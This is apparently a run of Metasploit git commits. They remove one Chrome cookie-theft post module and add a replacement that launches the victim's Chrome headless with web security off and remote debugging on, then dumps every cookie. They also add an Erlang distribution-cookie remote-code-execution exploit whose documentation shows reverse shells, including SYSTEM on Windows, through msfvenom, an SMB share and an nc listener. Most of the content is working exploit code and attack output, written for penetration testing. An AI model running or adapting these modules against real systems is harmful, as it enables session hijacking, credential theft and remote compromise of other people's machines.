--disable-web-security --disable-plugins --user-data-dir="/home//.config/google-chrome/" --remote-debugging-port=9222 /tmp/qj9ADWM6Xqh +[+] 1473 Chrome Cookies stored in /home//.msf4/loot/20181209094655_default_127.0.0.1_chrome.gather.co_585357.txt +[*] Post module execution completed +``` + + +## Future features + +### Windows support +This technique works on Windows as well, this module just doesn't implement the Windows-specific functionality. + +### Profiles +This module only extracts cookies from the default Chrome profile. The target may have multiple, and you may which to extract cookies from all of them. This would require enumerating and extracting the profiles by name. Example code to extract cookies from a non-default Chrome profile can be found at https://github.com/defaultnamehere/cookie_crimes. + +## See also +See https://github.com/defaultnamehere/cookie_crimes for more information and manual instructions for Windows. + +See https://mango.pdf.zone/stealing-chrome-cookies-without-a-password for the blog post in which this technique was first published. + + diff --git a/modules/post/chrome/gather/cookies.rb b/modules/post/chrome/gather/cookies.rb deleted file mode 100644 index 4d9a97752c88..000000000000 --- a/modules/post/chrome/gather/cookies.rb +++ /dev/null @@ -1,176 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'net/http' -require 'json' - -class MetasploitModule < Msf::Post - include Msf::Post::File - - GET_ALL_COOKIES_REQUEST = '{"id": 1, "method": "Network.getAllCookies"}'.freeze - WEBSOCAT_URL = 'https://github.com/vi/websocat/releases/download/v1.2.0/websocat_nossl_'.freeze - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Chrome Gather Cookies', - 'Description' => " - Read all cookies from the Default Chrome profile of the target user. Downloads and executes https://github.com/vi/websocat to communicate with the remote debugging interface Chrome exposes, and writes to disk. - ", - 'License' => MSF_LICENSE, - 'Author' => ['mangopdf '], - 'Platform' => %w[linux unix bsd osx], - 'SessionTypes' => %w[meterpreter shell])) - - register_options( - [ - OptString.new('CHROME_BINARY_PATH', [false, "The path to the user's Chrome binary (leave blank to use the default for the OS)", '']), - OptString.new('HEADLESS_URL', [false, "The URL to load with the user's headless chrome", 'about://blank']), - OptString.new('WEBSOCAT_STORAGE_PATH', [false, 'Where to write the websocat binary temporarily while it is used', '/tmp/websocat']), - OptString.new('COOKIE_STORAGE_PATH', [false, 'Where to write the retrieved cookies temporarily', '/tmp/websocat.log']), - OptInt.new('MAX_RETRIES', [false, 'Max retries for websocket request to Chrome remote debugging URL', 3]), - OptInt.new('REMOTE_DEBUGGING_PORT', [false, 'Port on target machine to use for remote debugging protocol', 9222]) - ] - ) - end - - - def configure_for_platform - vprint_status('Determining session platform') - vprint_status("Platform: #{session.platform}") - vprint_status("Type: #{session.type}") - - case session.platform - when 'unix', 'linux', 'bsd', 'python' - @platform = :unix - @chrome = 'google-chrome' - @user_data_dir = "/home/#{session.username}/.config/google-chrome/" - @websocat_url_suffix = 'i386-linux' - when 'osx' - @platform = :osx - @chrome = '/Applications/Google Chrome.app/Contents/MacOS/Google Chrome' - @user_data_dir = expand_path "/Users/#{session.username}/Library/Application Support/Google/Chrome" - @websocat_url_suffix = 'mac' - when 'windows' - print_error "Windows isn't supported by this module. See github.com/defaultnamehere/cookie_crimes for manual instructions." - @platform = :windows - return - else - print_error "Unsupported platform: #{session.platform}" - return - end - - unless datastore['CHROME_BINARY_PATH'].empty? - @chrome = datastore['CHROME_BINARY_PATH'] - end - - @chrome_debugging_cmd = "#{@chrome} --headless --user-data-dir=\"#{@user_data_dir}\" --remote-debugging-port=#{datastore['REMOTE_DEBUGGING_PORT']} #{datastore['HEADLESS_URL']}" - - nil - end - - def activate_remote_debugging - @debugger_pid = cmd_exec_get_pid(@chrome_debugging_cmd) - print_status("Activated Chrome's Remote Debugging via #{@chrome_debugging_cmd}") - - # Sleep so the Chrome process has time to start and open - # the tab before we query the remote debugging port. - # You may need a longer sleep time on a slower machine. - sleep 2.seconds - end - - def get_websocket_url - response = cmd_exec("curl -s http://localhost:#{datastore['REMOTE_DEBUGGING_PORT']}/json") - websocket_url = JSON.parse(response)[0]['webSocketDebuggerUrl'] - vprint_status("Found webSocketDebuggerUrl #{websocket_url}") - websocket_url - end - - def download_websocat - if file_exist? @websocat_storage_path - print_status "websocat binary already exists at #{@websocat_storage_path}, skipping download" - return - end - - url = WEBSOCAT_URL + @websocat_url_suffix - print_warning "Writing websocat binary to #{@websocat_storage_path} temporarily" - print_status "Downloading #{url} to #{@websocat_storage_path}" - cmd_exec "curl -L #{url} > #{@websocat_storage_path}" - chmod @websocat_storage_path - vprint_status 'Download complete' - - # Sleep here because there's sometimes a race condition ("file busy") between the binary being downloaded and executed. - sleep 5.seconds - end - - def cleanup_websocat - rm_f @websocat_storage_path - print_status "Deleted #{@websocat_storage_path}" - rm_f @cookie_storage_path - print_status "Deleted #{@cookie_storage_path}" - end - - def get_cookies(ws_url) - - download_websocat - - begin - # Redirect to a file because websocat streams the data, and can't send cookies larger than 65535 bytes in one message. - # This breaks cmd_exec, which cuts off the data partway. We're already writing to disk anyway, so I sure hope this is a good enough opsec tradeoff. - print_warning "Writing cookies to #{@cookie_storage_path} temporarily" - cmd = "echo '#{GET_ALL_COOKIES_REQUEST}' | #{@websocat_storage_path} -q #{ws_url} > #{@cookie_storage_path}" - errors = cmd_exec cmd - - unless errors.empty? - print_bad "Error running #{cmd}" - print_error errors - end - - cookies = read_file "#{@cookie_storage_path}" - - # The websocket debugger URL is sometimes flaky, for whatever reason, so - # retry a few times. - if cookies.empty? - raise "No data read from websocket debugger url #{ws_url}" - end - - # The cookies might be split into more than one message, delimited by '\n'. Remove them if so. - cookies = cookies.delete "\n" - - result = JSON.parse cookies - cookies = result['result']['cookies'] - print_good "Read #{cookies.length} cookies from #{ws_url}" - rescue RuntimeError - raise "Could not read any data from websocket debugger url #{ws_url}" if @retries.zero? - - print_bad "No data read from websocket debugger url #{ws_url}. Retrying... (Retries left: #{@retries -= 1})" - sleep 5.seconds - retry - end - - cleanup_websocat - - cookies - end - - def save(msg, data, ctype = 'text/json') - ltype = 'chrome.gather.cookies' - loot = store_loot ltype, ctype, session, data, nil, msg - print_good "#{msg} stored in #{loot}" - end - - def run - fail_with Failure::BadConfig, 'No session found, giving up' if session.nil? - - @retries = datastore['MAX_RETRIES'] - @websocat_storage_path = datastore['WEBSOCAT_STORAGE_PATH'] - @cookie_storage_path = datastore['COOKIE_STORAGE_PATH'] - - configure_for_platform - activate_remote_debugging - websocket_url = get_websocket_url - cookies = get_cookies websocket_url - save 'Chrome Cookies', cookies.to_json - end -end diff --git a/modules/post/multi/gather/chrome_cookies.rb b/modules/post/multi/gather/chrome_cookies.rb new file mode 100644 index 000000000000..0de893aafb40 --- /dev/null +++ b/modules/post/multi/gather/chrome_cookies.rb @@ -0,0 +1,147 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Post + include Msf::Post::File + + GET_ALL_COOKIES_REQUEST = '{"id": 1, "method": "Network.getAllCookies"}'.freeze + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Chrome Gather Cookies', + 'Description' => " + Read all cookies from the Default Chrome profile of the target user. + ", + 'License' => MSF_LICENSE, + 'Author' => ['mangopdf '], + 'Platform' => %w[linux unix bsd osx], + 'SessionTypes' => %w[meterpreter shell])) + + register_options( + [ + OptString.new('CHROME_BINARY_PATH', [false, "The path to the user's Chrome binary (leave blank to use the default for the OS)", '']), + OptString.new('TEMP_STORAGE_DIR', [false, 'Where to write the html used to steal cookies temporarily', '/tmp']), + OptInt.new('REMOTE_DEBUGGING_PORT', [false, 'Port on target machine to use for remote debugging protocol', 9222]) + ] + ) + end + + def configure_for_platform + vprint_status('Determining session platform') + vprint_status("Platform: #{session.platform}") + vprint_status("Type: #{session.type}") + + case session.platform + when 'unix', 'linux', 'bsd', 'python' + @platform = :unix + @chrome = 'google-chrome' + @user_data_dir = "/home/#{session.username}/.config/google-chrome/" + when 'osx' + @platform = :osx + @chrome = '/Applications/Google Chrome.app/Contents/MacOS/Google Chrome' + @user_data_dir = expand_path "/Users/#{session.username}/Library/Application Support/Google/Chrome" + when 'windows' + print_error "Windows isn't supported by this module. See github.com/defaultnamehere/cookie_crimes for manual instructions." + @platform = :windows + return + else + fail_with Failure::NoTarget, "Unsupported platform: #{session.platform}" + end + + unless datastore['CHROME_BINARY_PATH'].empty? + @chrome = datastore['CHROME_BINARY_PATH'] + end + + @retries = datastore['MAX_RETRIES'] + @temp_storage_dir = datastore['TEMP_STORAGE_DIR'] + + unless writable? @temp_storage_dir + fail_with Failure::BadConfig, "#{@temp_storage_dir} is not writable" + end + + @html_storage_path = create_cookie_stealing_html + + @chrome_debugging_cmd = "#{@chrome} --headless --disable-web-security --disable-plugins --user-data-dir=\"#{@user_data_dir}\" --remote-debugging-port=#{datastore['REMOTE_DEBUGGING_PORT']} #{@html_storage_path}" + + nil + end + + def create_cookie_stealing_html + cookie_stealing_html = %( + + + + + index.html + + + + + + ) + + # Where to temporarily store the cookie-stealing html + html_storage_path = File.join @temp_storage_dir, Rex::Text.rand_text_alphanumeric(10..15) + write_file html_storage_path, cookie_stealing_html + html_storage_path + end + + def cleanup_html + rm_f @html_storage_path + end + + def get_cookies + chrome_output = cmd_exec @chrome_debugging_cmd + + print_status "Activated Chrome's Remote Debugging via #{@chrome_debugging_cmd}" + + # Parse out the cookies from Chrome's output + cookies_pattern = /REMOTE_DEBUGGING|\[.*\]/m + cookies_msg = cookies_pattern.match(chrome_output).to_s + + # Slice off the "REMOTE_DEBUGGING|" delimiter, and join the cookies back together (cookies may contain "|"). + cookies_json = cookies_msg.split("|")[1..-1].join("|") + + cookies_json + end + + def save(msg, data, ctype = 'text/json') + ltype = 'chrome.gather.cookies' + loot = store_loot ltype, ctype, session, data, nil, msg + print_good "#{msg} stored in #{loot}" + end + + def run + fail_with Failure::BadConfig, 'No session found, giving up' if session.nil? + + configure_for_platform + cookies = get_cookies + cookies_parsed = JSON.parse cookies + save "#{cookies_parsed.length} Chrome Cookies", cookies + cleanup_html + end +end From fcad3f0c8f47a79384c73e92d75a324601a30884 Mon Sep 17 00:00:00 2001 From: Milton-Valencia Date: Sat, 8 Dec 2018 22:36:56 -0600 Subject: [PATCH 033/220] erlang cookie rce exploit module --- modules/exploits/unix/erlang_cookie_rce.rb | 118 +++++++++++++++++++++ 1 file changed, 118 insertions(+) create mode 100644 modules/exploits/unix/erlang_cookie_rce.rb diff --git a/modules/exploits/unix/erlang_cookie_rce.rb b/modules/exploits/unix/erlang_cookie_rce.rb new file mode 100644 index 000000000000..fb922d75d015 --- /dev/null +++ b/modules/exploits/unix/erlang_cookie_rce.rb @@ -0,0 +1,118 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'digest' + +class MetasploitModule < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Erlang Port Mapper Daemon Cookie RCE', + 'Description' => %q{ + The erlang port mapper daemon is used to coordinate distributed erlang instances. + Should an attacker get the authentication cookie RCE is trivial. Usually, this + cookie is named ".erlang.cookie" and varys on location. + }, + 'Author' => + [ + 'Daniel Mende', # discovery / blog post + 'Milton Valencia (wetw0rk)', # metasploit module + ], + 'References' => + [ + ['URL', 'https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/'] + ], + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Privileged' => 'false', + 'DefaultOptions' => + { + 'PAYLOAD' => 'cmd/unix/reverse' + }, + 'Arch' => [ ARCH_CMD ], + 'Targets' => [[ 'Automatic Target', {} ]], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 5, 2017', + ) + ) + + register_options( + [ + OptString.new('COOKIE', [ true, 'Erlang cookie to login with']), + Opt::RHOST(), + Opt::RPORT(25672) + ]) + end + + def generate_challenge_digest(challenge) + challenge = challenge.unpack('H*')[0].to_i(16).to_s # chars -> 0xhexstr -> integer -> str + + hash = Digest::MD5.new + hash.update datastore['COOKIE'] + hash.update challenge + + vprint_status("MD5 digest generated: #{hash.hexdigest}") + return [hash.hexdigest].pack('H*') + end + + def exploit + begin + connect + + our_node = "#{rand_text_alphanumeric(6)}@#{rand_text_alphanumeric(7)}" + + # SEND_NAME: send initial identification of who "we" are + send_name = "\x00\x15" + send_name << "\x6e" + send_name << "\x00\x05" + send_name << "\x00\x03\x49\x9c" + send_name << "#{our_node}" + # SEND_CHALLENGE_REPLY: return generated digest and its own challenge + send_challenge_reply = "\x00\x15" + send_challenge_reply << "\x72" + # SEND: send the message to the node + send = "\x00\x00\x00" + send << [(0x6c+payload.raw.length).to_s(16)].pack('H*') + send << "\x70\x83\x68\x04\x61\x06\x67\x64\x00\x0e" + send << "#{our_node}" + send << "\x00\x00\x00\x03\x00\x00\x00\x00\x00\x64\x00\x00\x64" + send << "\x00\x03\x72\x65\x78\x83\x68\x02\x67\x64\x00\x0e" + send << "#{our_node}" + send << "\x00\x00\x00\x03\x00\x00\x00\x00\x00\x68\x05\x64\x00\x04" + send << "call" + send << "\x64\x00\x02" + send << "os" + send << "\x64\x00\x03" + send << "cmd" + send << "\x6c\x00\x00\x00\x01\x6b\x00" + send << [(payload.raw.length).to_s(16)].pack('H*') + send << payload.raw + send << "\x6a\x64\x00\x04\x75\x73" + send << "\x65\x72" + + sock.put(send_name) + + # recieve servers "SEND_CHALLENGE" token (4 bytes) + print_status("Receiving server challenge") + challenge = sock.get + challenge = challenge[14,4] + + send_challenge_reply << challenge + send_challenge_reply << generate_challenge_digest(challenge) + + print_status("Sending challenge reply") + sock.put(send_challenge_reply) + sock.get + + print_status("Challenge sent, sending payload") + sock.put(send) + end + end +end From 69ed80f685a91fb14a7101d6f5868042cdfb2736 Mon Sep 17 00:00:00 2001 From: Milton-Valencia Date: Sat, 8 Dec 2018 22:51:52 -0600 Subject: [PATCH 034/220] varys -> varies --- modules/exploits/unix/erlang_cookie_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/unix/erlang_cookie_rce.rb b/modules/exploits/unix/erlang_cookie_rce.rb index fb922d75d015..7c995fc9daad 100644 --- a/modules/exploits/unix/erlang_cookie_rce.rb +++ b/modules/exploits/unix/erlang_cookie_rce.rb @@ -18,7 +18,7 @@ def initialize(info = {}) 'Description' => %q{ The erlang port mapper daemon is used to coordinate distributed erlang instances. Should an attacker get the authentication cookie RCE is trivial. Usually, this - cookie is named ".erlang.cookie" and varys on location. + cookie is named ".erlang.cookie" and varies on location. }, 'Author' => [ From 02f3d4688f27809e2a850d05d79170c251cf0aba Mon Sep 17 00:00:00 2001 From: Milton-Valencia Date: Sun, 9 Dec 2018 00:10:54 -0600 Subject: [PATCH 035/220] changes --- .../{unix => multi}/erlang_cookie_rce.rb | 103 +++++++++--------- 1 file changed, 50 insertions(+), 53 deletions(-) rename modules/exploits/{unix => multi}/erlang_cookie_rce.rb (51%) diff --git a/modules/exploits/unix/erlang_cookie_rce.rb b/modules/exploits/multi/erlang_cookie_rce.rb similarity index 51% rename from modules/exploits/unix/erlang_cookie_rce.rb rename to modules/exploits/multi/erlang_cookie_rce.rb index 7c995fc9daad..355abc7b3cf7 100644 --- a/modules/exploits/unix/erlang_cookie_rce.rb +++ b/modules/exploits/multi/erlang_cookie_rce.rb @@ -30,7 +30,7 @@ def initialize(info = {}) ['URL', 'https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/'] ], 'License' => MSF_LICENSE, - 'Platform' => 'unix', + 'Platform' => 'multi', 'Privileged' => 'false', 'DefaultOptions' => { @@ -46,7 +46,6 @@ def initialize(info = {}) register_options( [ OptString.new('COOKIE', [ true, 'Erlang cookie to login with']), - Opt::RHOST(), Opt::RPORT(25672) ]) end @@ -63,56 +62,54 @@ def generate_challenge_digest(challenge) end def exploit - begin - connect - - our_node = "#{rand_text_alphanumeric(6)}@#{rand_text_alphanumeric(7)}" - - # SEND_NAME: send initial identification of who "we" are - send_name = "\x00\x15" - send_name << "\x6e" - send_name << "\x00\x05" - send_name << "\x00\x03\x49\x9c" - send_name << "#{our_node}" - # SEND_CHALLENGE_REPLY: return generated digest and its own challenge - send_challenge_reply = "\x00\x15" - send_challenge_reply << "\x72" - # SEND: send the message to the node - send = "\x00\x00\x00" - send << [(0x6c+payload.raw.length).to_s(16)].pack('H*') - send << "\x70\x83\x68\x04\x61\x06\x67\x64\x00\x0e" - send << "#{our_node}" - send << "\x00\x00\x00\x03\x00\x00\x00\x00\x00\x64\x00\x00\x64" - send << "\x00\x03\x72\x65\x78\x83\x68\x02\x67\x64\x00\x0e" - send << "#{our_node}" - send << "\x00\x00\x00\x03\x00\x00\x00\x00\x00\x68\x05\x64\x00\x04" - send << "call" - send << "\x64\x00\x02" - send << "os" - send << "\x64\x00\x03" - send << "cmd" - send << "\x6c\x00\x00\x00\x01\x6b\x00" - send << [(payload.raw.length).to_s(16)].pack('H*') - send << payload.raw - send << "\x6a\x64\x00\x04\x75\x73" - send << "\x65\x72" - - sock.put(send_name) - - # recieve servers "SEND_CHALLENGE" token (4 bytes) - print_status("Receiving server challenge") - challenge = sock.get - challenge = challenge[14,4] - - send_challenge_reply << challenge - send_challenge_reply << generate_challenge_digest(challenge) - - print_status("Sending challenge reply") - sock.put(send_challenge_reply) - sock.get - - print_status("Challenge sent, sending payload") - sock.put(send) - end + connect + + our_node = "#{rand_text_alphanumeric(6)}@#{rand_text_alphanumeric(7)}" + + # SEND_NAME: send initial identification of who "we" are + send_name = "\x00\x15" + send_name << "\x6e" + send_name << "\x00\x05" + send_name << "\x00\x03\x49\x9c" + send_name << "#{our_node}" + # SEND_CHALLENGE_REPLY: return generated digest and its own challenge + send_challenge_reply = "\x00\x15" + send_challenge_reply << "\x72" + # SEND: send the message to the node + send = "\x00\x00\x00" + send << [(0x6c+payload.raw.length).to_s(16)].pack('H*') + send << "\x70\x83\x68\x04\x61\x06\x67\x64\x00\x0e" + send << "#{our_node}" + send << "\x00\x00\x00\x03\x00\x00\x00\x00\x00\x64\x00\x00\x64" + send << "\x00\x03\x72\x65\x78\x83\x68\x02\x67\x64\x00\x0e" + send << "#{our_node}" + send << "\x00\x00\x00\x03\x00\x00\x00\x00\x00\x68\x05\x64\x00\x04" + send << "call" + send << "\x64\x00\x02" + send << "os" + send << "\x64\x00\x03" + send << "cmd" + send << "\x6c\x00\x00\x00\x01\x6b\x00" + send << [(payload.raw.length).to_s(16)].pack('H*') + send << payload.raw + send << "\x6a\x64\x00\x04\x75\x73" + send << "\x65\x72" + + sock.put(send_name) + + # recieve servers "SEND_CHALLENGE" token (4 bytes) + print_status("Receiving server challenge") + challenge = sock.get + challenge = challenge[14,4] + + send_challenge_reply << challenge + send_challenge_reply << generate_challenge_digest(challenge) + + print_status("Sending challenge reply") + sock.put(send_challenge_reply) + sock.get + + print_status("Challenge sent, sending payload") + sock.put(send) end end From 39229125b748b70d6148551668371788abfe19a1 Mon Sep 17 00:00:00 2001 From: Milton-Valencia Date: Sun, 9 Dec 2018 00:22:49 -0600 Subject: [PATCH 036/220] tweak --- modules/exploits/multi/erlang_cookie_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/erlang_cookie_rce.rb b/modules/exploits/multi/erlang_cookie_rce.rb index 355abc7b3cf7..1028e9a24397 100644 --- a/modules/exploits/multi/erlang_cookie_rce.rb +++ b/modules/exploits/multi/erlang_cookie_rce.rb @@ -30,7 +30,7 @@ def initialize(info = {}) ['URL', 'https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/'] ], 'License' => MSF_LICENSE, - 'Platform' => 'multi', + 'Platform' => ['unix', 'windows'], 'Privileged' => 'false', 'DefaultOptions' => { From 2beddf10127e2a7ff34be15c09b76572b5d2662d Mon Sep 17 00:00:00 2001 From: Milton-Valencia Date: Sun, 9 Dec 2018 15:01:09 -0600 Subject: [PATCH 037/220] req changes --- .../exploit/multi/misc/erlang_cookie_rce.md | 147 ++++++++++++++++++ modules/exploits/multi/erlang_cookie_rce.rb | 30 ++-- 2 files changed, 164 insertions(+), 13 deletions(-) create mode 100644 documentation/modules/exploit/multi/misc/erlang_cookie_rce.md diff --git a/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md b/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md new file mode 100644 index 000000000000..b7aeb4935d0c --- /dev/null +++ b/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md @@ -0,0 +1,147 @@ +0## Vulnerable Application + + The [Erlang Port Mapper Daemon](https://www.erlang.org/) is used to coordinate distributed erlang + instances. Should an attacker gain access to this cookie code execution is trivial. Normally this + cookie can be found in the home directory as ".erlang.cookie", however it varies system to system + as well as it's configuration. As an example on a Windows 10 instance it can be found under the + users home directory: e.g "C:\Users\\.erlang.cookie". Code execution is achieved via the + "os:cmd('cmd')." command + +## Verification Steps + + 1. Install the Erlang Port Mapper Daemon + 2. Install RabbitMQ + 3. Start `msfconsole` + 4. Do `use exploit/unix/erlang_cookie_rce` + 5. Do `set RHOST ` + 6. Do `set COOKIE ` + 7. Select appropriate payload (default=cmd/unix/reverse) + 8. Do `set LHOST ` + 9. `exploit` and verify shell is opened (varies per OS) + +## Scenarios + +### Ubuntu 16.04.5 LTS + + +``` +msf exploit(multi/erlang_cookie_rce) > options + +Module options (exploit/multi/erlang_cookie_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + COOKIE EXAMPLE yes Erlang cookie to login with + RHOST A.B.C.D yes The target address + RPORT 25672 yes The target port (TCP) + + +Payload options (cmd/unix/reverse): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST W.X.Y.Z yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Automatic Target + + +msf exploit(multi/erlang_cookie_rce) > exploit + +[*] Started reverse TCP double handler on W.X.Y.Z:4444 +[*] A.B.C.D:25672 - Receiving server challenge +[*] A.B.C.D:25672 - Sending challenge reply +[*] A.B.C.D:25672 - Challenge sent, sending payload +[*] Accepted the first client connection... +[*] Accepted the second client connection... +[*] Command: echo XinIWxzXWDO5x9EM; +[*] Writing to socket A +[*] Writing to socket B +[*] Reading from sockets... +[*] Reading from socket B +[*] B: "XinIWxzXWDO5x9EM\r\n" +[*] Matching... +[*] A is input... +[*] Command shell session 1 opened (W.X.Y.Z:4444 -> A.B.C.D:46410) at 2018-12-09 14:45:47 -0600 + +id +uid=122(rabbitmq) gid=130(rabbitmq) groups=130(rabbitmq) +``` + +### Windows 10 (Build 17134) + + +``` +msf exploit(multi/erlang_cookie_rce) > options + +Module options (exploit/multi/erlang_cookie_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + COOKIE MOLKLGXHWQLTGUREBDKI yes Erlang cookie to login with + RHOST A.B.C.D yes The target address + RPORT 25672 yes The target port (TCP) + + +Payload options (cmd/windows/generic): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CMD \\W.X.Y.Z\BOB\t.exe yes The command string to execute + + +Exploit target: + + Id Name + -- ---- + 0 Automatic Target + + +msf exploit(multi/erlang_cookie_rce) > exploit + +[*] A.B.C.D:25672 - Receiving server challenge +[*] A.B.C.D:25672 - Sending challenge reply +[*] A.B.C.D:25672 - Challenge sent, sending payload +[*] Exploit completed, but no session was created. + +--- Impacket SMB Server --- +root@kali:/tmp# msfvenom -p windows/x64/shell_reverse_tcp LHOST=W.X.Y.Z LPORT=3 -f exe -o t.exe +[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload +[-] No arch selected, selecting arch: x64 from the payload +No encoder or badchars specified, outputting raw payload +Payload size: 460 bytes +Final size of exe file: 7168 bytes +Saved as: t.exe +root@kali:/tmp# impacket-smbserver BOB . +Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies + +[*] Config file parsed +[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 +[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 +[*] Config file parsed +[*] Config file parsed +[*] Config file parsed +[*] Incoming connection (A.B.C.D,50349) +[*] AUTHENTICATE_MESSAGE (\,DESKTOP-85258BS) +[*] User \DESKTOP-85258BS authenticated successfully +[*] :::00::4141414141414141 + +--- Handler --- + +root@kali:~# nc -lvp 3 +Listening on [0.0.0.0] (family 0, port 3) +Connection from A.B.C.D 50350 received! +Microsoft Windows [Version 10.0.17134.407] +(c) 2018 Microsoft Corporation. All rights reserved. + +C:\Users\667563~1\AppData\Roaming\RabbitMQ>whoami +whoami +nt authority\system + +C:\Users\667563~1\AppData\Roaming\RabbitMQ> +``` diff --git a/modules/exploits/multi/erlang_cookie_rce.rb b/modules/exploits/multi/erlang_cookie_rce.rb index 1028e9a24397..b2d3f63dde49 100644 --- a/modules/exploits/multi/erlang_cookie_rce.rb +++ b/modules/exploits/multi/erlang_cookie_rce.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'digest' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -30,11 +28,11 @@ def initialize(info = {}) ['URL', 'https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/'] ], 'License' => MSF_LICENSE, - 'Platform' => ['unix', 'windows'], + 'Platform' => ['unix', 'win'], 'Privileged' => 'false', 'DefaultOptions' => { - 'PAYLOAD' => 'cmd/unix/reverse' + 'PAYLOAD' => 'cmd/unix/reverse', }, 'Arch' => [ ARCH_CMD ], 'Targets' => [[ 'Automatic Target', {} ]], @@ -51,7 +49,7 @@ def initialize(info = {}) end def generate_challenge_digest(challenge) - challenge = challenge.unpack('H*')[0].to_i(16).to_s # chars -> 0xhexstr -> integer -> str + challenge = challenge.unpack('H*')[0].to_i(16).to_s hash = Digest::MD5.new hash.update datastore['COOKIE'] @@ -64,10 +62,11 @@ def generate_challenge_digest(challenge) def exploit connect - our_node = "#{rand_text_alphanumeric(6)}@#{rand_text_alphanumeric(7)}" + our_node = "#{rand_text_alphanumeric(6..12)}@#{rand_text_alphanumeric(6..12)}" # SEND_NAME: send initial identification of who "we" are - send_name = "\x00\x15" + send_name = "\x00" + send_name << [(our_node.length+7).to_s(16)].pack('H*') send_name << "\x6e" send_name << "\x00\x05" send_name << "\x00\x03\x49\x9c" @@ -77,11 +76,13 @@ def exploit send_challenge_reply << "\x72" # SEND: send the message to the node send = "\x00\x00\x00" - send << [(0x6c+payload.raw.length).to_s(16)].pack('H*') - send << "\x70\x83\x68\x04\x61\x06\x67\x64\x00\x0e" + send << [(0x50 + payload.raw.length + our_node.length*2).to_s(16)].pack('H*') + send << "\x70\x83\x68\x04\x61\x06\x67\x64\x00" + send << [(our_node.length).to_s(16)].pack('H*') send << "#{our_node}" send << "\x00\x00\x00\x03\x00\x00\x00\x00\x00\x64\x00\x00\x64" - send << "\x00\x03\x72\x65\x78\x83\x68\x02\x67\x64\x00\x0e" + send << "\x00\x03\x72\x65\x78\x83\x68\x02\x67\x64\x00" + send << [(our_node.length).to_s(16)].pack('H*') send << "#{our_node}" send << "\x00\x00\x00\x03\x00\x00\x00\x00\x00\x68\x05\x64\x00\x04" send << "call" @@ -92,8 +93,8 @@ def exploit send << "\x6c\x00\x00\x00\x01\x6b\x00" send << [(payload.raw.length).to_s(16)].pack('H*') send << payload.raw - send << "\x6a\x64\x00\x04\x75\x73" - send << "\x65\x72" + send << "\x6a\x64\x00\x04" + send << "user" sock.put(send_name) @@ -107,7 +108,10 @@ def exploit print_status("Sending challenge reply") sock.put(send_challenge_reply) - sock.get + + if sock.get.length < 1 + fail_with(Failure::UnexpectedReply, "Authentication Failed:#{datastore['COOKIE']}") + end print_status("Challenge sent, sending payload") sock.put(send) From 15aaaa4f217aa972bf3dbedf73d78bb8fbcae00d Mon Sep 17 00:00:00 2001 From: Milton-Valencia Date: Sun, 9 Dec 2018 15:39:27 -0600 Subject: [PATCH 038/220] removed 0 just saw... --- documentation/modules/exploit/multi/misc/erlang_cookie_rce.md | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md b/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md index b7aeb4935d0c..bed73d42897e 100644 --- a/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md +++ b/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md @@ -1,4 +1,4 @@ -0## Vulnerable Application +## Vulnerable Application The [Erlang Port Mapper Daemon](https://www.erlang.org/) is used to coordinate distributed erlang instances. Should an attacker gain access to this cookie code execution is trivial. Normally this @@ -23,7 +23,6 @@ ### Ubuntu 16.04.5 LTS - ``` msf exploit(multi/erlang_cookie_rce) > options @@ -75,7 +74,6 @@ uid=122(rabbitmq) gid=130(rabbitmq) groups=130(rabbitmq) ### Windows 10 (Build 17134) - ``` msf exploit(multi/erlang_cookie_rce) > options From f6bfbddb8d391ffea03b1f35e04c4a7682b01840 Mon Sep 17 00:00:00 2001 From: Milton-Valencia Date: Sun, 9 Dec 2018 15:59:58 -0600 Subject: [PATCH 039/220] twks --- .../modules/exploit/multi/misc/erlang_cookie_rce.md | 2 +- modules/exploits/multi/erlang_cookie_rce.rb | 9 ++------- 2 files changed, 3 insertions(+), 8 deletions(-) diff --git a/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md b/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md index bed73d42897e..635da703f089 100644 --- a/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md +++ b/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md @@ -15,7 +15,7 @@ 4. Do `use exploit/unix/erlang_cookie_rce` 5. Do `set RHOST ` 6. Do `set COOKIE ` - 